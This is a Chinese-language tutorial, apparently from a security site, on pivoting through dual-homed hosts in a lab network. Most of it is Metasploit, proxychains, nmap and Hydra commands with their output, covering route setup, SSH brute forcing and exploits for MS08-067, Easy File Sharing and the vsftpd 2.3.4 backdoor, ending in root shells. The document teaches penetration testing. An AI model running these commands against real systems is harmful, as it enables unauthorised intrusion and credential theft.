纵深防御也被被称之为“多层防御”,这样的概念被运用于“信息安全”上。以多层电脑安全技术去减轻其风险,在其中有些电脑被入侵或是泄密时,风险可以大大降低。举例来说,防毒软件被安装于个人工作站上,电脑中病毒在防火墙与服务器等其它类似环境中被拦劫下来。在信息技术世界中占据着举足轻重的地位。本文我们将通过示例分析攻击者是如何运用各种方法进行网络穿透的。 何谓路由确定设备如何在不同网络之间相互传输的过程,也即通过互联的网络把信息从源地址传输到目的地址的活动被称之为路由。通常用于执行路由活动的设备被称为路由器。通过使用路由表,路由器则规划网络包到各自目的地的线路。路由的功能不仅仅是诸如路由器等网络设备能够完成,在安装有该功能的任意计算机系统也能够完成。 [/url] 根据上图例子所示,为了在192.168.1.0/24与192.168.10.0/24网络之间进行通信是需要一个路由表记录的。根据路由器中的规则定义,数据需要从192.168.1.0/24源网络发到192.168.10.0/24目的网络中去。网络数据包大概会经历如下过程: [url=http://image.3001.net/images/20170120/14848817849919.png] 何谓Pivoting基本上可以概括为,在正常情况下仅仅只是通过利用被控制的计算机我们可能依旧无法进行网络访问。假设一台被控制的计算机连接有多个网络,将其作为我们的跳板,那么网络隔离的手段对我们来说就形同虚设。跟着这个思路,攻击者在被控制的跳板主机上执行路由操作,进而访问隐藏的网络。对新发现网络发起的每个请求都会通过中间的双网卡跳板传输,形象化一点说来就像是洞子一般。 [/url] 就如上面所示的拓扑图,设备有两张网卡可访问192.168.1.0/24以及192.168.10.0/24两个网络。在正常情况下,这两个网络之间是不能相互访问的,除非有定义路由规则。根据该结构,授权用户(使用两张网卡的计算机)可访问DMZ区内的一些服务。 拿下第一层双网卡中转跳板及端口转发根据我们的攻击场景,先拿下命名为RD的主机然后获取到的meterpreter shell,RD能连接到DMZ网络。随后,在信息收集过程中确定了目标有两张网卡。注意:环境中的路由器在两个网络之间并没有联通。 [url=http://image.3001.net/images/20170116/14845369228210.png] - msf > use exploit/multi/handler
- msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
- payload => windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LHOST 172.16.0.20
- LHOST => 172.16.0.20
- msf exploit(handler) > set LPORT 1234
- LPORT => 1234
- msf exploit(handler) > run
- [*] Started reverse TCP handler on 172.16.0.20:1234
- [*] Starting the payload handler...
- [*] Sending stage (957487 bytes) to 172.16.0.11
- [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)
- meterpreter > ifconfig
- Interface 1
- ============
- Name : Software Loopback Interface 1
- Hardware MAC : 00:00:00:00:00:00
- MTU : 4294967295
- IPv4 Address : 127.0.0.1
- IPv4 Netmask : 255.0.0.0
- IPv6 Address : ::1
- IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
- Interface 11
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter
- Hardware MAC : 08:00:27:e1:3f:af
- MTU : 1500
- IPv4 Address : 172.16.0.11
- IPv4 Netmask : 255.255.255.0
- Interface 19
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter #2
- Hardware MAC : 08:00:27:7f:3c:fe
- MTU : 1500
- IPv4 Address : 7.7.7.11
- IPv4 Netmask : 255.255.255.0
复制代码
在我们设计的这个场景中,获得RD系统访问权限的攻击者将会使用第二张网卡(7.7.7.0/24)访问网络。在执行这项操作之前,攻击者必须先在RD中定义路由规则。 在Metasploit中可以轻松完成这项任务,在当前meterpreter会话下键入以下命令可创建路由规则: - meterpreter > run autoroute -s 7.7.7.0/24
- [*] Adding a route to 7.7.7.0/255.255.255.0...
- [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11
- [*] Use the -p option to list all active routes
- meterpreter > run autoroute -p
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- -------
- 7.7.7.0 255.255.255.0 Session 2
- meterpreter >
复制代码
根据定义的路由规则,只要meterpreter ID值为2的会话在运行,那么在Metasploit框架中就可以访问7.7.7.0/24网络。
这一步骤之后,使用类似arp_scanner的端口模块就能检测到JC系统的IP地址。JC为7.7.7.20内网中的另一台计算机。 - meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24
- [*] Running module against DISCORDIA
- [*] ARP Scanning 7.7.7.0/24
- [*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
- [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
- [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
- [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
- meterpreter >
复制代码
在7.7.7.0/24网络中存活系统的IP地址,包括命名为JC的系统主机,都已经检测到了。
[/url] 自然而然的,我们想到了以下问题:诸如arp_scanner的端口模块对这类扫描工作可能存在着不足之处,那么nmap风格的扫描工具是否能登场呢? 通过中转跳板进行Nmap扫描对此必须在Metasploit中激活路由配置,并且该配置必须能够通过socks4代理进行转发。这里有一个metasploit模块刚好满足以上需求。 使用metasploit的socks4代理模块: - meterpreter > background
- [*] Backgrounding session 2...
- msf > use auxiliary/server/socks4a
- msf auxiliary(socks4a) > show options
- Module options (auxiliary/server/socks4a):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- SRVHOST 0.0.0.0 yes The address to listen on
- SRVPORT 1080 yes The port to listen on.
- Auxiliary action:
- Name Description
- ---- -----------
- Proxy
- msf auxiliary(socks4a) > set srvhost 172.16.0.20
- srvhost => 172.16.0.20
- msf auxiliary(socks4a) > run
- [*] Auxiliary module execution completed
- [*] Starting the socks4a proxy server
- msf auxiliary(socks4a) > netstat -antp | grep 1080
- [*] exec: netstat -antp | grep 1080
- tcp 0 172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby
- msf auxiliary(socks4a) >
复制代码
ProxyChains是为GNU\Linux操作系统而开发的工具,任何TCP连接都可以通过TOR或者SOCKS4, SOCKS5, HTTP / HTTPS路由到目的地。在这个通道技术中可以使用多个代理服务器。除此之外提供匿名方式,诸如用于中转跳板的应用程序也可以用于对发现的新网络进行直接通信。 [url=http://image.3001.net/images/20170116/14845369546623.png] 用文本编辑器打开/etc/proxychains.conf,在文件的最后一行添加新创建的socks4代理服务器 - --- snippet ---
- [ProxyList]
- # add proxy here ...
- # meanwile
- # defaults set to "tor"
- #socks4 127.0.0.1 9050
- socks4 172.16.0.20 1080
复制代码
使用proxychains执行nmap扫描任务非常简单,网络数据包将会通过定义的代理发送到目的地。 - root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20
- ProxyChains-3.1 (http://proxychains.sf.net)
- Starting Nmap 7.25BETA1 ( https://nmap.org )
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
- Nmap scan report for 7.7.7.20
- Host is up (0.17s latency).
- PORT STATE SERVICE VERSION
- 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)
- 80/tcp closed http Easy File Sharing Web Server httpd 6.9
- 135/tcp open msrpc Microsoft Windows RPC
- 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
- 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
- Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
- Host script results:
- | smb-vuln-ms08-067:
- | VULNERABLE:
- | Microsoft Windows system vulnerable to remote code execution (MS08-067)
- | State: VULNERABLE
- | IDs: CVE:CVE-2008-4250
- | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
- | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
- | code via a crafted RPC request that triggers the overflow during path canonicalization.
- |
- | Disclosure date: 2008-10-23
- | References:
- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
- |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
- root@kali:~#
复制代码
根据扫描的结果,目标系统中运行着SSH以及HTTP服务。在进一步利用之前,我们还将涉及另一种被称之为端口转发的通信路由(traffic routing)技术。 端口转发端口转发是实现中转跳板的基本步骤,目前还无法直接访问到隐藏网络中的服务,这是因为没有建立双向路由。我们知道如何到达目标系统,所以可以发起请求。但这个请求会失败,这是因为目标系统不知道如何到达我们这边。 [/url] 基于这个原因,我们可以通过定义meterpreter会话在我们的本地开启一个端口,将本地数据包发送到目的地。只要进程存活,路由就会一直工作。 再此须谨记,run autoroute命令建立的路由仅在Metasploit框架下有效,我们也可以尝试使用kali工具实现目的,这里我们就要借助类似端口转发的工具或是proxychains。 使用portfwd模块(Metasploit中的一个post模块)可完成端口转发 - meterpreter > portfwd -h
- Usage: portfwd [-h] [add | delete | list | flush] [args]
- OPTIONS:
- -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to.
- -R Indicates a reverse port forward.
- -h Help banner.
- -i <opt> Index of the port forward entry to interact with (see the "list" command).
- -l <opt> Forward: local port to listen on. Reverse: local port to connect to.
- -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
- -r <opt> Forward: remote host to connect to.
- meterpreter >
复制代码
当我们在浏览器中向本地2323端口发送一个链接请求时,该连接请求将会转发到IP地址为7.7.7.20的计算机的80端口。
得益于ProxyChains和Nmap,早先我们就已经确定了web服务运行在7.7.7.20的80端口。为了访问这个服务,本地系统的2323端口将被转发到7.7.7.20的80端口 - meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
- [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80
- meterpreter >
复制代码
通过portfwd list命令可以查看当前活跃的端口转发规则: - meterpreter > portfwd list
- Active Port Forwards
- ====================
- Index Local Remote Direction
- ----- ----- ------ ---------
- 1 172.16.0.20:2323 7.7.7.20:80 Forward
- 1 total active port forwards.
- meterpreter >
复制代码
检测到IP地址为7.7.7.20目标系统的80端口上运行着名为Eash File Sharing Web Server的应用 [url=http://image.3001.net/images/20170116/14845369865399.png] 通过中转跳板进行SSH暴力破解正如你看到的,我们检测到的7.7.7.20上有一个ssh服务。对该服务进行暴力破解十分简便。我们可以使用SSH_enumusers这个辅助模块来完成这项工作: - msf > use auxiliary/scanner/ssh/ssh_enumusers
- msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20
- rhosts => 7.7.7.20
- msf auxiliary(ssh_enumusers) > set rport 22
- rport => 22
- msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
- user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
- msf auxiliary(ssh_enumusers) > run
- [*] 7.7.7.20:22 - SSH - Checking for false positives
- [*] 7.7.7.20:22 - SSH - Starting scan
- [+] 7.7.7.20:22 - SSH - User 'admin' found
- [-] 7.7.7.20:22 - SSH - User 'root' not found
- [-] 7.7.7.20:22 - SSH - User 'Administrator' not found
- [+] 7.7.7.20:22 - SSH - User 'sysadm' found
- [-] 7.7.7.20:22 - SSH - User 'tech' not found
- [-] 7.7.7.20:22 - SSH - User 'operator' not found
- [+] 7.7.7.20:22 - SSH - User 'guest' found
- [-] 7.7.7.20:22 - SSH - User 'security' not found
- [-] 7.7.7.20:22 - SSH - User 'debug' not found
- [+] 7.7.7.20:22 - SSH - User 'manager' found
- [-] 7.7.7.20:22 - SSH - User 'service' not found
- [-] 7.7.7.20:22 - SSH - User '!root' not found
- [+] 7.7.7.20:22 - SSH - User 'user' found
- [-] 7.7.7.20:22 - SSH - User 'netman' not found
- [+] 7.7.7.20:22 - SSH - User 'super' found
- [-] 7.7.7.20:22 - SSH - User 'diag' not found
- [+] 7.7.7.20:22 - SSH - User 'Cisco' found
- [-] 7.7.7.20:22 - SSH - User 'Manager' not found
- [+] 7.7.7.20:22 - SSH - User 'DTA' found
- [-] 7.7.7.20:22 - SSH - User 'apc' not found
- [+] 7.7.7.20:22 - SSH - User 'User' found
- [-] 7.7.7.20:22 - SSH - User 'Admin' not found
- [+] 7.7.7.20:22 - SSH - User 'cablecom' found
- [-] 7.7.7.20:22 - SSH - User 'adm' not found
- [+] 7.7.7.20:22 - SSH - User 'wradmin' found
- [-] 7.7.7.20:22 - SSH - User 'netscreen' not found
- [+] 7.7.7.20:22 - SSH - User 'sa' found
- [-] 7.7.7.20:22 - SSH - User 'setup' not found
- [+] 7.7.7.20:22 - SSH - User 'cmaker' found
- [-] 7.7.7.20:22 - SSH - User 'enable' not found
- [+] 7.7.7.20:22 - SSH - User 'MICRO' found
- [-] 7.7.7.20:22 - SSH - User 'login' not found
- [*] Caught interrupt from the console...
- [*] Auxiliary module execution completed
- ^C
- msf auxiliary(ssh_enumusers) >
复制代码
除了Metasploit框架中的辅助模块外,Kali工具包中的Hydra也可以完成这项任务。通过在ProxyChains下运行Hydra,所有的通信数据将会通过被控制的主机(双网卡主机)传送到目标系统上。 - root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
- ProxyChains-3.1 (http://proxychains.sf.net)
- Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
- Hydra (http://www.thc.org/thc-hydra) starting
- [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
- [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
- [DATA] attacking service ssh on port 22
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- <><>-OK
- <><>-OK
- <><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- [22][ssh] host: 7.7.7.20 login: admin password: 123456
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- <><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- 1 of 1 target successfully completed, 1 valid password found
- Hydra (http://www.thc.org/thc-hydra) finished
- root@kali:~#
复制代码
使用Hydra执行brute-force攻击,我们获得代理服务器的用户名为admin,密码为123456。同时使用ProxyChains工具可以连接到远程的SSH服务 - root@kali:~# proxychains ssh admin@7.7.7.20
- ProxyChains-3.1 (http://proxychains.sf.net)
- |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
- The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
- ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
- Are you sure you want to continue connecting (yes/no)? yes
- Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
- admin@7.7.7.20's password:
- bvshell:/C/Documents and Settings/All Users$ pwd
- /C/Documents and Settings/All Users
- bvshell:/C/Documents and Settings/All Users$ dir
- 2016-12-24 21:32 <DIR> Application Data
- 2016-12-25 06:16 <DIR> Desktop
- 2016-12-24 18:36 <DIR> Documents
- 2016-12-24 18:37 <DIR> DRM
- 2016-12-24 21:32 <DIR> Favorites
- 2016-12-24 18:38 <DIR> Start Menu
- 2016-12-24 21:32 <DIR> Templates
- 0 Files 0 bytes
- 7 Directories
- bvshell:/C/Documents and Settings/All Users$
复制代码
获取第二层中转跳板的访问如果你还记得,我们之前使用nmap扫描7.7.7.0/24找到了两个漏洞。一个是MS08-067,另一个是Easy File Share应用中的BOF漏洞,这两个方向都能让我们访问到目标主机。当然还有一个选择便是继续使用上面获取到的ssh进行访问,但这里我们选择以上两个方向。 MS08-067搭配Bind TCP该模块的完整路径为exploit/windows/smb/ms08_067_netapi,在Metasploit框架下利用MS08-067漏洞攻击目标系统。由于没有定义双向路由,目标系统无法直接到达我们的计算机,为此需要将bind_tcp设置为payload类型。在exploit操作成功之后,就将要对连接到目标系统的端口进行监听。bind_tcp和reverse_tcp的区别如下图: [/url] 完整设置如下: - msf > use exploit/windows/smb/ms08_067_netapi
- msf exploit(ms08_067_netapi) > show options
- Module options (exploit/windows/smb/ms08_067_netapi):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 445 yes The SMB service port
- SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
- Exploit target:
- Id Name
- -- ----
- 0 Automatic Targeting
- msf exploit(ms08_067_netapi) > set rhost 7.7.7.20
- rhost => 7.7.7.20
- msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
- payload => windows/meterpreter/bind_tcp
- msf exploit(ms08_067_netapi) > show options
- Module options (exploit/windows/smb/ms08_067_netapi):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST 7.7.7.20 yes The target address
- RPORT 445 yes The SMB service port
- SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
- Payload options (windows/meterpreter/bind_tcp):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
- LPORT 4444 yes The listen port
- RHOST 7.7.7.20 no The target address
- Exploit target:
- Id Name
- -- ----
- 0 Automatic Targeting
- msf exploit(ms08_067_netapi) > run
- [*] Started bind handler
- [*] 7.7.7.20:445 - Automatically detecting the target...
- [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
- [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
- [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
- [*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
- [*] Sending stage (957999 bytes) to 7.7.7.20
- [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)
- meterpreter >
复制代码
Easy File Share应用的BoF漏洞另一个漏洞就是有关于Easy File Share应用的了。可通过以下步骤进行设置 - msf > use exploit/windows/http/easyfilesharing_seh
- msf exploit(easyfilesharing_seh) > show options
- Module options (exploit/windows/http/easyfilesharing_seh):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 80 yes The target port
- Exploit target:
- Id Name
- -- ----
- 0 Easy File Sharing 7.2 HTTP
- msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20
- rhost => 7.7.7.20
- msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp
- payload => windows/meterpreter/bind_tcp
- msf exploit(easyfilesharing_seh) > run
- [*] Started bind handler
- [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit...
- [+] 7.7.7.20:80 - Exploit Sent
- [*] Sending stage (957999 bytes) to 7.7.7.20
- [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300
- meterpreter > ipconfig
- Interface 1
- ============
- Name : MS TCP Loopback interface
- Hardware MAC : 00:00:00:00:00:00
- MTU : 1520
- IPv4 Address : 127.0.0.1
- Interface 65539
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter
- Hardware MAC : 08:00:27:29:cd:cb
- MTU : 1500
- IPv4 Address : 8.8.8.3
- IPv4 Netmask : 255.255.255.0
- Interface 65540
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter #2
- Hardware MAC : 08:00:27:e3:47:43
- MTU : 1500
- IPv4 Address : 7.7.7.20
- IPv4 Netmask : 255.255.255.0
- meterpreter >
复制代码
攻击流程如下图 [url=http://image.3001.net/images/20170116/14845370267229.png] 由于我们可以访问到7.7.7.20机器,我们需要再次执行信息收集。被命名为JC的机器和RD机器一样有两张网卡,这也意味着我们找到了第二个隐藏网络(8.8.8.0/24) - meterpreter > ipconfig
- Interface 1
- ============
- Name : MS TCP Loopback interface
- Hardware MAC : 00:00:00:00:00:00
- MTU : 1520
- IPv4 Address : 127.0.0.1
- Interface 65539
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter
- Hardware MAC : 08:00:27:29:cd:cb
- MTU : 1500
- IPv4 Address : 8.8.8.3
- IPv4 Netmask : 255.255.255.0
- Interface 65540
- ============
- Name : Intel(R) PRO/1000 MT Desktop Adapter #2
- Hardware MAC : 08:00:27:e3:47:43
- MTU : 1500
- IPv4 Address : 7.7.7.20
- IPv4 Netmask : 255.255.255.0
复制代码
在第二个隐藏网络下执行Arp扫描继续收集信息 - meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24
- [*] Running module against SRV03
- [*] ARP Scanning 8.8.8.0/24
- [*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)
- [*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)
- [*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)
- [*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)
复制代码
ARP扫描结果显示在该网络下存在4台机器 - meterpreter > run autoroute -s 8.8.8.0/24
- [*] Adding a route to 8.8.8.0/255.255.255.0...
- [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20
- [*] Use the -p option to list all active routes
- msf > route print
- Active Routing Table
- ====================
- Subnet Netmask Gateway
- ------ ------- -------
- 7.7.7.0 255.255.255.0 Session 1
- 8.8.8.0 255.255.255.0 Session 3
复制代码
之后再次添加路由规则 两层层中转跳板在JC主机上收集信息时发现了8.8.8.0/24网络,另外之前我们就已经建立了172.16.0.0/24到7.7.7.0/24网络的路由规则。
在当前的情况下,网络数据包从172.16.0.20发到JC设备(第二层中转跳板),数据首先要发到RD设备(第一层中转跳板),然后RD主机再将数据传送到JC主机。如果攻击者(172.16.0.20)想将数据发送到8.8.8.0/24网络(发现的第二个隐藏网络)的任何一个主机时,就得建立一个新的路由规则。为了使用Metasploit框架以外的其他工具,我们必须运行一个socks4代理服务来连接两个跳板主机,并在proxychains工具的配置文件中重新定义新的代理服务器。 攻击者机器(172.16.0.20)尝试向8.8.8.9发送网络数据包,要经过以下中转: - RD:我不知道怎么访问到8.8.8.9,但我知道哪个系统能访问到它,我可以将数据发给它。
- JC:我知道怎么将数据从7.7.7.0/24网络发送到8.8.8.0/24网络。
数据流如下图所示: [/url] 神器ProxychainsProxychains工具负责连接代理服务器以及端对端的传输。在最后阶段,需要为新发现的8.8.8.0/24网络在本地1081端口设置一个新的socks4代理服务。 - msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
- msf auxiliary(socks4a) > show options
- Module options (auxiliary/server/socks4a):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- SRVHOST 172.16.0.20 yes The address to listen on
- SRVPORT 1080 yes The port to listen on.
- Auxiliary action:
- Name Description
- ---- -----------
- Proxy
- msf auxiliary(socks4a) > set SRVPORT 1081
- SRVPORT => 1081
- msf auxiliary(socks4a) > run
- [*] Auxiliary module execution completed
- [*] Starting the socks4a proxy server
- msf auxiliary(socks4a) >
复制代码
在/etc/proxychains.conf配置文件中添加新的代理服务器。通过激活动态链设置,确保在不同的代理服务器之间能够正常切换。 - root@kali:~# cat /etc/proxychains.conf | grep -v "#"
- dynamic_chain
- proxy_dns
- tcp_read_time_out 15000
- tcp_connect_time_out 8000
- socks4 172.16.0.20 1080 # First Pivot
- socks4 172.16.0.20 1081 # Second Pivot
复制代码
Proxychains工具通过第二层跳板主机,可以对8.8.8.0/24目标网络进行nmap扫描: - root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv
- ProxyChains-3.1 (http://proxychains.sf.net)
- Starting Nmap 7.25BETA1 ( https://nmap.org )
- Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
- NSE: Loaded 36 scripts for scanning.
- Initiating Connect Scan
- Scanning 8.8.8.9 [4 ports]
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
- Discovered open port 21/tcp on 8.8.8.9
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
- Discovered open port 23/tcp on 8.8.8.9
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
- Discovered open port 22/tcp on 8.8.8.9
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Discovered open port 80/tcp on 8.8.8.9
- Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)
- Initiating Service scan at 05:54
- Scanning 4 services on 8.8.8.9
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)
- NSE: Script scanning 8.8.8.9.
- NSE: Starting runlevel 1 (of 2) scan.
- Initiating NSE at 05:54
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
- Completed NSE at 05:54, 1.71s elapsed
- NSE: Starting runlevel 2 (of 2) scan.
- Initiating NSE at 05:54
- Completed NSE at 05:54, 0.00s elapsed
- Nmap scan report for 8.8.8.9
- Host is up, received user-set (0.41s latency).
- Scanned
- PORT STATE SERVICE REASON VERSION
- 21/tcp open ftp syn-ack vsftpd 2.3.4
- 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
- 23/tcp open telnet syn-ack Linux telnetd
- 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2)
- Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
- Read data files from: /usr/bin/../share/nmap
- Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
- Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
- root@kali:~#
复制代码
以上,数据包穿透第一层代理服务器,又经过我们定义的第二层代理服务器,最终到达目的地。对扫描结果进行分析,发现8.8.8.9上安装的vsftpd版本存在漏洞。以下步骤为在Metasploit框架中设置vsftpd利用模块进行攻击: - msf >
- msf > use exploit/unix/ftp/vsftpd_234_backdoor
- msf exploit(vsftpd_234_backdoor) > show options
- Module options (exploit/unix/ftp/vsftpd_234_backdoor):
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 21 yes The target port
- Exploit target:
- Id Name
- -- ----
- 0 Automatic
- msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9
- rhost => 8.8.8.9
- msf exploit(vsftpd_234_backdoor) > run
- [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)
- [*] 8.8.8.9:21 - USER: 331 Please specify the password.
- [+] 8.8.8.9:21 - Backdoor service has been spawned, handling...
- [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)
- [*] Found shell.
- [*] Command shell session 4 opened (Local Pipe -> Remote Pipe)
- pwd
- /
- id
- uid=0(root) gid=0(root)
- ifconfig
- eth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c
- inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0
- inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link
- UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
- RX packets:10843 errors:0 dropped:0 overruns:0 frame:0
- TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0
- collisions:0 txqueuelen:1000
- RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB)
- Base address:0xd010 Memory:f0000000-f0020000
- lo Link encap:Local Loopback
- inet addr:127.0.0.1 Mask:255.0.0.0
- inet6 addr: ::1/128 Scope:Host
- UP LOOPBACK RUNNING MTU:16436 Metric:1
- RX packets:18161 errors:0 dropped:0 overruns:0 frame:0
